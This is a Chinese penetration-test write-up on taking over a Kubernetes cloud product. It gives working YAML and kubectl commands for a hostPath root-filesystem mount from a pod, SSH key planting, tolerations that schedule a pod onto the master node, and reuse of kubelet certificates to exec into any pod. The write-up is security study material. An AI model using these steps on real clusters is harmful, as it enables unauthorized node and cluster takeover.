实战目标介绍
Kubernetes是一个开源的，用于管理云平台中多个主机上的容器化的应用，Kubernetes的目标是让部署容器化的应用简单并且高效（powerful）,Kubernetes提供了应用部署，规划，更新，维护的一种机制。
如今，很多云原生产品，都是在k8s上进行微创新。云上攻防就是研究k8s漏洞。
此次实战渗透某k8s云原生产品，分享经验心得。
普通用户test1
通过信息收集、暴力破解等手段，获取到一个普通用户test1。
登陆test1账号，创建pod容器
点击添加命名空间，添加命名空间：test
部署工作负载，创建工作负载：myapp
进入工作负载：myapp，可以看到pod的ip是10.42.3.65，在node节点192.168.1.9下。
pod容器 安装kubectl
一般情况，容器的环境没有配置任何信息，通过命令ping www.baidu.com，发现没配置dns、没有更新源、没有基本的命令、没有网络工具，更没有kubectl工具。
因此在pod容器里，首先初始化渗透环境。
1、添加配置dns
echo nameserver 8.8.8.8 >> /etc/resolv.conf
echo nameserver 114.114.114.114 >> /etc/resolv.conf
2、更换源
#更换源
cp /etc/apt/sources.list /etc/apt/sources.list.bak
echo > /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian-security bullseye-security main contrib non-free >> /etc/apt/sources.list
3、下载kubectl
wget https://dl.k8s.io/v1.9.11/kubernetes-client-linux-amd64.tar.gz
tar -zxvf kubernetes-client-linux-amd64.tar.gz
cd kubernetes/client/bin
chmod +x kubectl
cp kubernetes/client/bin/kubectl /usr/local/bin/kubectl
攻击，挂载node根目录，获取Node节点权限
通过编辑YAML规则，尝试挂载node的根目录到上面创建的pod。
spec:
containers:
name: myapp
volumeMounts:
- mountPath: /host
name: host
volumes:
- hostPath:
path: /
type: Directory
name: host
yaml规则解析：
hostPath中的path，就是被挂着的目录，这里设置为根目录。
volumeMounts中的mountPath，就是在容器的目录位置。
挂载根目录到容器的/host目录下。
挂载后，进入pod容器
可以看到，pod容器ip为：10.42.3.66，node节点ip为：192.168.1.9
挂载成功，在pod容器中读取到node节点内容。
写入ssh私钥，通过pod容器socks5代理，成功登录node节点。
攻击，通过容忍度（tolerations）从node节点横向到master节点
1、查找kubeconfig配置文件位置
在node节点中，执行ps -efw | grep kubeconfig
找到kubeconfig配置文件位置 /etc/kubernetes/ssl/kubecfg-kube-node.yaml
下载安装kubectl，使用kubectl命令获取node节点信息。
通过kubectl命令，确认Master节点的污点(Taint)。
./kubectl --kubeconfig=/etc/kubernetes/ssl/kubecfg-kube-node.yaml describe node
成功获取到master的污点(Taint)信息：
Taints: node-role.kubernetes.io/etcd=true:NoExecute
node-role.kubernetes.io/controlplane=true:NoSchedule
键：node-role.kubernetes.io/etcd 影响：NoExecute
键：node-role.kubernetes.io/controlplane 影响：NoSchedule
在调度容忍，添加对应的键值。
对应的yaml规则如下：
apiVersion: apps/v1
kind: Deployment
spec:
spec:
containers:
- image: ubuntu/nginx:latest
name: myapp2
volumeMounts:
- mountPath: /host
name: host
dnsPolicy: ClusterFirst
restartPolicy: Always
schedulerName: default-scheduler
tolerations:
- effect: NoSchedule
key: node-role.kubernetes.io/controlplane
operator: Exists
- effect: NoExecute
key: node-role.kubernetes.io/etcd
operator: Exists
volumes:
- hostPath:
path: /
type: Directory
name: host
可以看到，成功将pod挂到master节点下。
同样，挂载master节点的根目录到pod容器里面。
写入ssh公钥，成功登录master节点。
攻击，从Node节点到获取k8s权限
情景一
1、查找kubeconfig配置文件位置
在node节点中，执行ps -efw | grep kubeconfig
2、找到kubeconfig配置文件位置
/etc/kubernetes/ssl/kubecfg-kube-node.yaml
3、使用kubectl命令 get pods 获取到k8s所有容器信息。
./kubectl --server=https://127.0.0.1:6443 --certificate-authority=/etc/kubernetes/ssl/kube-ca.pem --client-key=/etc/kubernetes/ssl/kube-node-key.pem --client-certificate=/etc/kubernetes/ssl/kube-node.pem get pods --all-namespaces
4、进入任意容器
./kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system --server=https://127.0.0.1:6443 --certificate-authority=ca.crt --client-key=/var/lib/kubelet/pki/kubelet-client-current.pem --client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem /bin/sh
（ps:忘记截图了，情景二有图）
情景二
1、查找kubeconfig配置文件位置
在node节点中，执行ps -efw | grep kube，找到kubeconfig
cat /etc/kubernetes/kubelet.conf
server: https://172.28.0.201:6443
client-certificate: /var/lib/kubelet/pki/kubelet-client-current.pem
client-key: /var/lib/kubelet/pki/kubelet-client-current.pem
2、搜索ca.crt证书文件
3、使用kubectl命令，获取到所有k8s的所有pods信息
kubectl --server=https://172.28.0.201:6443 --certificate-authority=/etc/kubernetes/pki/ca.crt --client-key=/var/lib/kubelet/pki/kubelet-client-current.pem --client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem get pods --all-namespaces
172.28.0.7为node节点之一。
4、进入任意容器
示例：使用kubectl命令进入命名空间为kube-system的容器：calico-node-mk79h
命令：
kubectl exec -it calico-node-mk79h --namespace=kube-system --server=https://172.28.0.201:6443 --certificate-authority=/etc/kubernetes/pki/ca.crt --client-key=/var/lib/kubelet/pki/kubelet-client-current.pem --client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem /bin/sh
成功进入容器calico-node-mk79h
容器的ip:
总结
通过对k8s云原生的实战，深入理解了k8s渗透相关知识。
node节点用户权限管理没有进行严格限制，可以挂载节点根目录。
理解了容忍度（tolerations）、污点（taints）。
master节点通过设置污点（taints），避免pod容器随意调度到master上，而只能调度到node节点。
pod容器通过设置容忍度（tolerations），容忍了master的污点（taints），就可以调度到master节点。
参考
https://www.freebuf.com/vuls/196993.html